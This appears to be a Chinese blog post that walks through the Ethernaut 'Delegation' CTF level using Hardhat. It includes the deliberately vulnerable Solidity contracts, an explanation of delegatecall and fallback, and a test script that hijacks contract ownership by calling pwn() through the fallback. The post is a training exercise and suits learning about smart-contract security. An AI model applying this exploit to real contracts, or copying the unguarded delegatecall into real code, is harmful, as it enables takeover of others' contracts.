开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "hardhat/console.sol";
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result, ) = address(delegate).delegatecall(msg.data);
if (result) {
console.log(result);
this;
}
}
}
这题主要是理解delegatecall
和call
的区别:https://github.com/AmazingAng/WTFSolidity/tree/main/23_Delegatecall ,也就是说此题要是更改Delegation的owner,需要调用Delegate合约的pwn
函数,也就是触发Delegation合约的fallback
,fallback的触发条件:
触发fallback() 还是 receive()?
接收ETH
|
msg.data是空?
/ \
是 否
/ \
receive()存在? fallback()
/ \
是 否
/ \
receive() fallback()
也就是说发送一笔交易 data不为空就行。
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");
describe("test", function () {
var Delegation;
var Delegate;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const DelegateInstance = await ethers.getContractFactory("Delegate");
Delegate = await DelegateInstance.deploy(users[0].address);
const DelegationInstance = await ethers.getContractFactory("Delegation");
Delegation = await DelegationInstance.deploy(Delegate.address);
});
it("hack test", async function () {
console.log(await Delegation.owner());
const abi = ["function pwn() external"];
const interface = new ethers.utils.Interface(abi);
const callData = interface.encodeFunctionData(`pwn`, []);
const res = await users[0].sendTransaction({
to: Delegation.address,
data: callData,
});
await res.wait();
console.log(await Delegation.owner());
});
});
Github:hardhat测试仓库
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!